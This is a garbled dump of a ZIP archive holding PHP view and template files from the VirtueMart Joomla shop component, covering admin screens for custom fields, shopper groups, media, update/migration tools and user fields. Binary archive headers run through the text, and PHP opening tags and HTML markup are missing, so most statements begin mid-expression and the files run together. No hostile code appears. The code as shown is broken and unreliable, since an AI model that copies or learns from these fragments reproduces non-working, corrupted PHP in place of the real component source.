        customs->items; //$roles = $this->customlistsroles; ?> $custom) { $checked = JHTML::_('grid.id', $i , $custom->virtuemart_custom_id,false,'virtuemart_custom_id'); if (!is_null($custom->virtuemart_custom_id)) $published = JHTML::_('grid.published', $custom, $i ); else $published = ''; ?> custom_parent_id."&option=".$option; ?> virtuemart_custom_id; if ($custom->is_cart_attribute) $cartIcon= 'default'; else $cartIcon= 'default-off'; ?>
        sort('ordering') ?> sort('virtuemart_custom_id', 'COM_VIRTUEMART_ID') ?>
        hasKey($custom->custom_parent_title) ? JText::_($custom->custom_parent_title) : $custom->custom_parent_title; echo JHTML::_('link', JRoute::_($link,FALSE),$text, array('title' => JText::_('COM_VIRTUEMART_FILTER_BY').' '.$text)); ?> custom_title, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$custom->custom_title)); ?> custom_field_desc; ?> field_type_display; ?> pagination->orderUpIcon($i, true, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> pagination->orderDownIcon( $i, $n, true, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_custom_id; ?>
        pagination->getListFooter(); ?>
        PK@y>\)5components/com_virtuemart/views/custom/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\El6components/com_virtuemart/views/custom/tmpl/index.htmlnuW+A PK@y>\9|4components/com_virtuemart/views/custom/view.html.phpnuW+ASetViewTitle('PRODUCT_CUSTOM_FIELD'); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $this->addStandardEditViewCommands(); $customPlugin = ''; if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $custom = $model->getCustom(); $customfields = VmModel::getModel('customfields'); // vmdebug('VirtuemartViewCustom',$custom); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmOnDisplayEdit',array($custom->virtuemart_custom_id,&$customPlugin)); $this->SetViewTitle('PRODUCT_CUSTOM_FIELD', $custom->custom_title); $selected=0; if(!empty($custom->custom_jplugin_id)) { $selected = $custom->custom_jplugin_id; } $pluginList = self::renderInstalledCustomPlugins($selected); $this->assignRef('customPlugin', $customPlugin); $this->assignRef('pluginList',$pluginList); $this->assignRef('custom', $custom); $this->assignRef('customfields', $customfields); } else { JToolBarHelper::custom('createClone', 'copy', 'copy', JText::_('COM_VIRTUEMART_CLONE'), true); JToolBarHelper::custom('toggle.admin_only.1', 'publish','', JText::_('COM_VIRTUEMART_TOGGLE_ADMIN'), true); JToolBarHelper::custom('toggle.admin_only.0', 'unpublish','', JText::_('COM_VIRTUEMART_TOGGLE_ADMIN'), true); JToolBarHelper::custom('toggle.is_hidden.1', 'publish','', JText::_('COM_VIRTUEMART_TOGGLE_HIDDEN'), true); JToolBarHelper::custom('toggle.is_hidden.0', 'unpublish','', JText::_('COM_VIRTUEMART_TOGGLE_HIDDEN'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $customs = $model->getCustoms(JRequest::getInt('custom_parent_id'),JRequest::getWord('keyword')); $this->assignRef('customs', $customs); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledCustomPlugins($selected) { $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmcustom" AND `'.$enable.'`="1" '; $db->setQuery($q); $results = $db->loadAssocList($ext_id); if (!class_exists('vmPlugin')) require(JPATH_VM_ADMINISTRATOR . DS . 'plugins' . DS . 'vmplugin.php'); $lang =JFactory::getLanguage(); foreach ($results as $result) { //$filename = 'plg_vmcustom_' . $this->plugin->element; $filename = 'plg_' .strtolower ( $result['name']).'.sys'; vmPlugin::loadJLang($filename,'vmcustom',$result['name']); } return VmHTML::select( 'custom_jplugin_id', $results, $selected,"",$ext_id, 'name'); //return JHtml::_('select.genericlist', $result, 'custom_jplugin_id', null, $ext_id, 'name', $selected); } } // pure php no closing tagPK@y>\)6components/com_virtuemart/views/shoppergroup/.htaccessnuW+A Order allow,deny Deny from all PK@y>\7components/com_virtuemart/views/shoppergroup/index.htmlnuW+APK@y>\M :components/com_virtuemart/views/shoppergroup/view.html.phpnuW+AassignRef('perms', Permissions::getInstance()); $model = VmModel::getModel(); $layoutName = $this->getLayout(); $task = JRequest::getWord('task',$layoutName); $this->assignRef('task', $task); if ($layoutName == 'edit') { //For shoppergroup specific price display VmConfig::loadJLang('com_virtuemart_config'); $shoppergroup = $model->getShopperGroup(); $this->SetViewTitle('SHOPPERGROUP',$shoppergroup->shopper_group_name); $vendors = ShopFunctions::renderVendorList($shoppergroup->virtuemart_vendor_id); $this->assignRef('vendorList', $vendors); $this->assignRef('shoppergroup', $shoppergroup); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(); JToolBarHelper::makeDefault(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showVendors = Permissions::getInstance()->check('admin'); $this->assignRef('showVendors',$showVendors); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $shoppergroups = $model->getShopperGroups(false, true); $this->assignRef('shoppergroups', $shoppergroups); $pagination = $model->getPagination(); $this->assignRef('sgrppagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PK@y>\);components/com_virtuemart/views/shoppergroup/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\<components/com_virtuemart/views/shoppergroup/tmpl/index.htmlnuW+APK@y>\j=components/com_virtuemart/views/shoppergroup/tmpl/default.phpnuW+A
        showVendors){ ?> shoppergroups ); $i < $n; $i++) { $row = $this->shoppergroups[$i]; $published = JHTML::_('grid.published', $row, $i ); $checked = JHTML::_('grid.id', $i, $row->virtuemart_shoppergroup_id,null,'virtuemart_shoppergroup_id'); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=shoppergroup&task=edit&virtuemart_shoppergroup_id[]=' . $row->virtuemart_shoppergroup_id); ?> showVendors){ ?>
        sort('virtuemart_shoppergroup_id', 'COM_VIRTUEMART_ID') ?>
        shopper_group_name); ?> shopper_group_desc); ?> default == 1) { if (JVM_VERSION===1) { ?> <?php echo JText::_( 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT' ); ?>   virtuemart_vendor_id; ?> virtuemart_shoppergroup_id; ?>
        sgrppagination->getListFooter(); ?>
        addStandardHiddenToForm($this->_name,$this->task); ?>
        PK@y>\=;PP:components/com_virtuemart/views/shoppergroup/tmpl/edit.phpnuW+AaddScriptDeclaration($js); AdminUIHelper::startAdminArea($this); AdminUIHelper::imitateTabs('start', 'COM_VIRTUEMART_SHOPPERGROUP_NAME'); ?>
        shoppergroup->shopper_group_name); ?> shoppergroup->published); ?> * */ ?> shoppergroup->default == 1) { ?> shoppergroup->shopper_group_desc); ?>
        vendorList; ?>
        <?php echo JText::_('Default'); ?>
        shoppergroup->custom_price_display,1,0,$attributes) ?>
        shoppergroup->price_display, 'basePrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'variantModification', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'basePriceVariant', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'basePriceWithTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'discountedPriceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'salesPriceWithDiscount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'salesPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'priceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'discountAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'taxAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->shoppergroup->price_display, 'unitPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE'); ?>
        shoppergroup->price_display->get('show_prices')); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\]D6components/com_virtuemart/views/media/tmpl/default.phpnuW+A
        files; //$roles = $this->productfilesroles; ?> 0) { $i = 0; $k = 0; foreach ($productfileslist as $key => $productfile) { $checked = JHTML::_('grid.id', $i , $productfile->virtuemart_media_id,null,'virtuemart_media_id'); if (!is_null($productfile->virtuemart_media_id)) $published = JHTML::_('grid.published', $productfile, $i ); else $published = ''; ?> limitstart."&keyword=".urlencode($keyword)."&option=".$option; ?> virtuemart_media_id; ?>
        sort('file_title', 'COM_VIRTUEMART_FILES_LIST_FILETITLE') ?> sort('file_type', 'COM_VIRTUEMART_FILES_LIST_ROLE') ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_media_id', 'COM_VIRTUEMART_ID') ?>
        product_name)? '': $productfile->product_name); ?> file_title, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$productfile->file_title)); ?> file_is_product_image)) echo JText::_('COM_VIRTUEMART_'.strtoupper($productfile->file_type).'_IMAGE') ; if(!empty($productfile->file_is_downloadable)) echo JText::_('COM_VIRTUEMART_DOWNLOADABLE') ; if(!empty($productfile->file_is_forSale)) echo JText::_('COM_VIRTUEMART_FOR_SALE'); ?> displayMediaThumb(); ?> file_name; ?> file_extension; ?> virtuemart_media_id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\)4components/com_virtuemart/views/media/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,5components/com_virtuemart/views/media/tmpl/index.htmlnuW+APK@y>\~J3components/com_virtuemart/views/media/tmpl/edit.phpnuW+A'; echo '
        '; $this->media->addHidden('view','media'); $this->media->addHidden('task',''); $this->media->addHidden(JUtility::getToken(),1); $this->media->addHidden('file_type',$this->media->file_type); $virtuemart_product_id = JRequest::getInt('virtuemart_product_id', ''); if(!empty($virtuemart_product_id)) $this->media->addHidden('virtuemart_product_id',$virtuemart_product_id); $virtuemart_category_id = JRequest::getInt('virtuemart_category_id', ''); if(!empty($virtuemart_category_id)) $this->media->addHidden('virtuemart_category_id',$virtuemart_category_id); echo $this->media->displayFileHandler(); echo '
        '; echo ''; AdminUIHelper::imitateTabs('end'); AdminUIHelper::endAdminArea(); PK@y>\蠘3components/com_virtuemart/views/media/view.json.phpnuW+AsetMimeEncoding( 'application/json' ); if ($virtuemart_media_id = JRequest::getInt('virtuemart_media_id')) { //JResponse::setHeader( 'Content-Disposition', 'attachment; filename="media'.$virtuemart_media_id.'.json"' ); $model = VmModel::getModel('Media'); $image = $model->createMediaByIds($virtuemart_media_id); // echo '
        '.print_r($image,1).'
        '; $this->json = $image[0]; //echo json_encode($this->json); if (isset($this->json->file_url)) { $this->json->file_root = JURI::root(true).'/'; $this->json->msg = 'OK'; echo @json_encode($this->json); } else { $this->json->msg = ''.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').''; echo @json_encode($this->json); } } else { if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $start = JRequest::getInt('start',0); $type = JRequest::getWord('mediatype',0); $list = VmMediaHandler::displayImages($type,$start ); echo @json_encode($list); } jExit(); } } // pure php no closing tag PK@y>\)/components/com_virtuemart/views/media/.htaccessnuW+A Order allow,deny Deny from all PK@y>\(&&3components/com_virtuemart/views/media/view.html.phpnuW+AassignRef('vendorId', $vendorId); // TODO add icon for media view $this->SetViewTitle(); $model = VmModel::getModel('media'); $perms = Permissions::getInstance(); $this->assignRef('perms', $perms); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $media = $model->getFile(); $this->assignRef('media', $media); $isNew = ($media->virtuemart_media_id < 1); $this->addStandardEditViewCommands(); } else { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $cat_id = JRequest::getInt('virtuemart_category_id',0); JToolBarHelper::customX('synchronizeMedia', 'new', 'new', JText::_('COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES'),false); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,null,null,'searchMedia'); $options = array( '' => JText::_('COM_VIRTUEMART_LIST_ALL_TYPES'), 'product' => JText::_('COM_VIRTUEMART_PRODUCT'), 'category' => JText::_('COM_VIRTUEMART_CATEGORY'), 'manufacturer' => JText::_('COM_VIRTUEMART_MANUFACTURER'), 'vendor' => JText::_('COM_VIRTUEMART_VENDOR') ); $this->lists['search_type'] = VmHTML::selectList('search_type', JRequest::getVar('search_type'),$options,1,'','onchange="this.form.submit();"'); $options = array( '' => JText::_('COM_VIRTUEMART_LIST_ALL_ROLES'), 'file_is_displayable' => JText::_('COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE'), 'file_is_downloadable' => JText::_('COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE'), 'file_is_forSale' => JText::_('COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE'), ); $this->lists['search_role'] = VmHTML::selectList('search_role', JRequest::getVar('search_role'),$options,1,'','onchange="this.form.submit();"'); $files = $model->getFiles(false,false,$virtuemart_product_id,$cat_id); $this->assignRef('files', $files); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tagPK@y>\#o,,0components/com_virtuemart/views/media/index.htmlnuW+APK@y>\):components/com_virtuemart/views/updatesmigration/.htaccessnuW+A Order allow,deny Deny from all PK@y>\!?\i55Hcomponents/com_virtuemart/views/updatesmigration/tmpl/update_preview.phpnuW+A


        • :
        • :
        '; $class = $is_writable ? 'writable' : 'unwritable'; $msg = $is_writable ? JText::_('COM_VIRTUEMART_UPDATE_PATCH_WRITABLE') : JText::_('COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE'); echo '\n"; } ?>
        '.$file.''.$msg."
        ' . JText::_('COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC') . ':'; echo ''; foreach($packageContents['queryArr'] as $query) { echo '
        '.$query. "
        "; } echo ''; } if( $valid ) { echo '


        '; } else { echo '
        ' . JText::_('COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE').'
        '; } $formObj->finishForm('applypatchpackage', 'admin.update_result'); ?>
        PK@y>\1lEcomponents/com_virtuemart/views/updatesmigration/tmpl/insfinished.phpnuW+Aload('com_virtuemart.sys',JPATH_ADMINISTRATOR,'en_GB',true); $lang->load('com_virtuemart',JPATH_ADMINISTRATOR,'en_GB',true); //load specific language $lang->load('com_virtuemart.sys',JPATH_ADMINISTRATOR,null,true); $lang->load('com_virtuemart',JPATH_ADMINISTRATOR,null,true);*/ $update = vRequest::getInt('update',0); $option = vRequest::getString('option'); if($option=='com_virtuemart'){ if (!class_exists('AdminUIHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'adminui.php'); if (!class_exists('JToolBarHelper')) require(JPATH_ADMINISTRATOR.DS.'includes'.DS.'toolbar.php'); AdminUIHelper::startAdminArea($this); } ?>
        Cart

        '.vmText::_('COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND'); } else { echo vmText::_('COM_VIRTUEMART_INSTALLATION_SUCCESSFUL'); echo '
        '.vmText::_('COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND'); } ?>


        setQuery($q); $productsExists = $db->loadResult(); if(!$productsExists){ ?>
        PK@y>\kAcomponents/com_virtuemart/views/updatesmigration/tmpl/default.phpnuW+A 'COM_VIRTUEMART_UPDATE_TOOLS_TAB', 'migrator' => 'COM_VIRTUEMART_MIGRATION_TAB' ) ); AdminUIHelper::endAdminArea(); PK@y>\Acomponents/com_virtuemart/views/updatesmigration/tmpl/install.phpnuW+Aroot() . 'administrator/index.php?option=com_virtuemart&view=config'; ?>
        PK@y>\R{GGcomponents/com_virtuemart/views/updatesmigration/tmpl/default_tools.phpnuW+Aroot() . 'administrator/index.php?option=com_virtuemart&view=config'; ?>
        PK@y>\@components/com_virtuemart/views/updatesmigration/tmpl/index.htmlnuW+APK@y>\)?components/com_virtuemart/views/updatesmigration/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\gJcomponents/com_virtuemart/views/updatesmigration/tmpl/default_migrator.phpnuW+A
        get('reWriteOrderNumber', 1, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRATION_USER_ORDER_ID','userOrderId',$session->get('userOrderId', 0, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRA_SGRP_PRICES','userSgrpPrices',$session->get('userSgrpPrices', 0, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRA_PORTFLY','portFlypages',$session->get('portFlypages', 0, 'vm')); echo VmHTML::row('input','COM_VIRTUEMART_MIGRATION_DCAT_BROWSE','migration_default_category_browse',$session->get('migration_default_category_browse', 0, 'vm')); echo VmHTML::row('input','COM_VIRTUEMART_MIGRATION_DCAT_FLY','migration_default_category_fly',$session->get('migration_default_category_fly', 0, 'vm')); ?>

        '; @ini_set( 'max_execution_time', $max_execution_time+1 ); $new_max_execution_time = ini_get('max_execution_time'); if($max_execution_time===$new_max_execution_time){ echo 'Server settings do not allow changes of your max_execution_time in the php.ini file, you may get problems migrating a big shop'; } else { echo JText::_('COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME').''; } @ini_set( 'max_execution_time', $max_execution_time ); echo '
        '; $memory_limit = ini_get('memory_limit'); echo 'memory_limit '.$memory_limit; echo '
        '; if($memory_limit!=='128MB'){ // @ini_set( 'memory_limit', '128MB' ); // $new_memory_limit = ini_get('memory_limit'); // if($memory_limit===$new_memory_limit){ // echo 'Server settings do not allow changes of your memory_limit in the php.ini file, you may get problems migrating a big shop'; // }else { echo JText::_('COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT').''; // } // @ini_set( 'max_execution_time', $memory_limit ); } ?>
        JText::_('COM_VIRTUEMART_UPDATE_GENERAL'), 'migrateUsersFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_USERS'), 'migrateProductsFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_PRODUCTS'), 'migrateOrdersFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_ORDERS'), 'migrateAllInOne' => JText::_('COM_VIRTUEMART_UPDATE_ALL'), 'portVmAttributes' => JText::_('COM_VIRTUEMART_UPDATE_ATTR').'
        '.JText::_('COM_VIRTUEMART_UPDATE_ATTR_2'), 'portVmRelatedProducts' => JText::_('COM_VIRTUEMART_UPDATE_REL'), // 'setStoreOwner' => JText::_('COM_VIRTUEMART_SETSTOREOWNER') ); echo VmHTML::radioList('task', $session->get('migration_task', 'migrateAllInOne', 'vm'), $options); ?>

        */ ?>PK@y>\/ Hcomponents/com_virtuemart/views/updatesmigration/tmpl/default_update.phpnuW+A

        latestVersion) { echo "

        " . $this->latestVersion . "

        "; } else {?>  [] latestVersion) { if (version_compare($this->latestVersion, VmConfig::getInstalledVersion(), '>') == 1) { ?>
        PK@y>\hQQ>components/com_virtuemart/views/updatesmigration/view.html.phpnuW+AassignRef('checkbutton_style', $checkbutton_style); $this->assignRef('downloadbutton_style', $downloadbutton_style); $this->assignRef('latestVersion', $latestVersion); $freshInstall = JRequest::getInt('install',0); if($freshInstall){ $this->setLayout('install'); } parent::display($tpl); } } // pure php no closing tag PK@y>\;components/com_virtuemart/views/updatesmigration/index.htmlnuW+APK@y>\)4components/com_virtuemart/views/userfields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5components/com_virtuemart/views/userfields/index.htmlnuW+APK@y>\338components/com_virtuemart/views/userfields/view.html.phpnuW+AgetCoreFields(); if ($layoutName == 'edit') { $editor = JFactory::getEditor(); $userField = $model->getUserfield(); $this->SetViewTitle('USERFIELD',$userField->name ); $this->assignRef('viewName',$viewName); $userFieldPlugin = ''; if ($userField->virtuemart_userfield_id < 1) { // Insert new userfield $this->assignRef('ordering', JText::_('COM_VIRTUEMART_NEW_ITEMS_PLACE')); $userFieldValues = array(); $attribs = ''; $lists['type'] = JHTML::_('select.genericlist', $this->_getTypes(), 'type', $attribs, 'type', 'text', $userField->type); } else { // Update existing userfield // Ordering dropdown $qry = 'SELECT ordering AS value, name AS text' . ' FROM #__virtuemart_userfields' . ' ORDER BY ordering'; $ordering = JHTML::_('list.specificordering', $userField, $userField->virtuemart_userfield_id, $qry); $this->assignRef('ordering', $ordering); $userFieldValues = $model->getUserfieldValues(); $lists['type'] = $this->_getTypes($userField->type) . ''; if (strpos($userField->type, 'plugin') !==false) $userFieldPlugin = self::renderUserfieldPlugin(substr($userField->type, 6),$userField); } $this->assignRef('userFieldPlugin', $userFieldPlugin); JToolBarHelper::divider(); JToolBarHelper::save(); JToolBarHelper::apply(); JToolBarHelper::cancel(); $notoggle = (in_array($userField->name, $lists['coreFields']) ? 'class="readonly"' : ''); // Vendor selection if(Vmconfig::get('multix','none')!=='none'){ $lists['vendors']= ShopFunctions::renderVendorList($userField->virtuemart_vendor_id); } // Shopper groups for EU VAT Id $shoppergroup_model = VmModel::getModel('shoppergroup'); $shoppergroup_list = $shoppergroup_model->getShopperGroups(true); array_unshift($shoppergroup_list,'0'); $lists['shoppergroups'] = JHTML::_('select.genericlist', $shoppergroup_list, 'virtuemart_shoppergroup_id', '', 'virtuemart_shoppergroup_id', 'shopper_group_name', $model->_params->get('virtuemart_shoppergroup_id')); // Minimum age select $ages = array(); for ($i = 13; $i <= 25; $i++) { $ages[] = array('key' => $i, 'value' => $i.' '.JText::_('COM_VIRTUEMART_YEAR_S')); } $lists['minimum_age'] = JHTML::_('select.genericlist', $ages, 'minimum_age', '', 'key', 'value', $model->_params->get('minimum_age', 18)); // Web address types $webaddress_types = array( array('key' => 0, 'value' => JText::_('COM_VIRTUEMART_USERFIELDS_URL_ONLY')) ,array('key' => 2, 'value' => JText::_('COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL')) ); $lists['webaddresstypes'] = JHTML::_('select.genericlist', $webaddress_types, 'webaddresstype', '', 'key', 'value', $model->_params->get('webaddresstype')); // Userfield values if (($n = count($userFieldValues)) < 1) { $lists['userfield_values'] = '' .'' .'' .''; $i = 1; } else { $lists['userfield_values'] = ''; $lang =JFactory::getLanguage(); for ($i = 0; $i < $n; $i++) { $translate= $lang->hasKey($userFieldValues[$i]->fieldtitle) ? " (".JText::_($userFieldValues[$i]->fieldtitle).")" : ""; $lists['userfield_values'] .= '' .'' .''.$translate.'' .''; } } $this->assignRef('valueCount', --$i); // Toggles $lists['required'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_REQUIRED','required',$userField->required,$notoggle); $lists['published'] = VmHTML::row('booleanlist','COM_VIRTUEMART_PUBLISHED','published',$userField->published,$notoggle); $lists['registration'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION','registration',$userField->registration,$notoggle); $lists['shipment'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING','shipment',$userField->shipment,$notoggle); $lists['account'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT','account',$userField->account,$notoggle); $lists['readonly'] = VmHTML::row('booleanlist','COM_VIRTUEMART_USERFIELDS_READONLY','readonly',$userField->readonly,$notoggle); $this->assignRef('lists', $lists); $this->assignRef('userField', $userField); $this->assignRef('userFieldValues', $userFieldValues); $this->assignRef('editor', $editor); } else { JToolBarHelper::title( JText::_('COM_VIRTUEMART_MANAGE_USER_FIELDS'),'vm_user_48 head'); JToolBarHelper::addNewX(); JToolBarHelper::editListX(); JToolBarHelper::divider(); JToolBarHelper::custom('toggle.required.1', 'publish','','COM_VIRTUEMART_FIELDMANAGER_REQUIRE'); JToolBarHelper::custom('toggle.required.0', 'unpublish','','COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE'); JToolBarHelper::publishList(); JToolBarHelper::unpublishList(); JToolBarHelper::divider(); $barText = JText::_('COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE'); $bar= JToolBar::getInstance( 'toolbar' ); $bar->appendButton( 'Separator', '">'.$barText.'
        ' .$retImgSrc. ''); } } /** * Create an array with userfield types and the visible text in the format expected by the Joomla select class * * @param string $value If not null, the type of which the text should be returned * @return mixed array or string */ function _getTypes ($value = null) { $types = array( array('type' => 'text' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_TEXTFIELD')) ,array('type' => 'checkbox' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE')) ,array('type' => 'multicheckbox' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE')) ,array('type' => 'date' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DATE')) ,array('type' => 'age_verification' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_AGEVERIFICATION')) ,array('type' => 'select' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE')) ,array('type' => 'multiselect' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE')) ,array('type' => 'emailaddress' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EMAIL')) // ,array('type' => 'euvatid' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EUVATID')) ,array('type' => 'editorta' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EDITORAREA')) ,array('type' => 'textarea' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_TEXTAREA')) ,array('type' => 'radio' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_RADIOBUTTON')) ,array('type' => 'webaddress' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_WEBADDRESS')) ,array('type' => 'delimiter' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DELIMITER')) ); $this->renderInstalledUserfieldPlugins($types); if ($value === null) { return $types; } else { foreach ($types as $type) { if ($type['type'] == $value) { return $type['text']; } return $value; } } } function renderUserfieldPlugin($element, $params){ $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $jelement = 'element'; } else { $table = '#__extensions'; $jelement = 'element'; } $q = 'SELECT `params`,`element` FROM `' . $table . '` WHERE `' . $jelement . '` = "'.$element.'"'; $db ->setQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($params, $this->plugin->element , 'plugin' ,'vmuserfield'); $lang = JFactory::getLanguage(); $filename = 'plg_vmuserfield_' . $this->plugin->element; $lang->load($filename, JPATH_ADMINISTRATOR); return $parameters->render(); } function renderInstalledUserfieldPlugins(&$plugins){ if ( JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; $enable = 'published'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; $enable = 'enabled'; } $db = JFactory::getDBO(); $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmuserfield" AND `'.$enable.'`="1" '; $db->setQuery($q); $userfieldplugins = $db->loadAssocList($ext_id); if(empty($userfieldplugins)){ return; } foreach($userfieldplugins as $userfieldplugin){ $plugins[] = array('type' => 'plugin'.$userfieldplugin['element'], 'text' => $userfieldplugin['name']); } return; } } //No Closing Tag PK@y>\&&8components/com_virtuemart/views/userfields/tmpl/edit.phpnuW+AuserField',$this->userField); ?>
        lists['type'] ); ?> userField->description,'100%','300', array('image','pagebreak', 'readmore') ); ?> userField->default,'class="inputbox"','',5); ?> lists['required']; ?> lists['registration']; ?> lists['account']; ?> lists['shipment']; ?> lists['readonly']; ?> lists['published']; ?> userField->size,'class="inputbox"','',5); ?> userField->ordering,'class="inputbox"','',5); ?> lists['vendors'] ); } ?>
        userField->maxlength,'class="inputbox"','',5); ?>
        userField->cols,'class="inputbox"','',5); ?> userField->rows,'class="inputbox"','',5); ?>
        lists['minimum_age'] ); ?>
        lists['webaddresstypes'] ); ?>
        lists['userfield_values'];?>
        userFieldPlugin; ?>
        userField->sys ? 'readonly="readonly"' : ''); $readonly=$this->userField->sys ? 'readonly' : '' ?> class="validate[required,funcCall[checkName]] inputbox " />
        hasKey($this->userField->title) ? JText::_($this->userField->title) : $this->userField->title; ?> ()
        addStandardHiddenToForm(); ?>
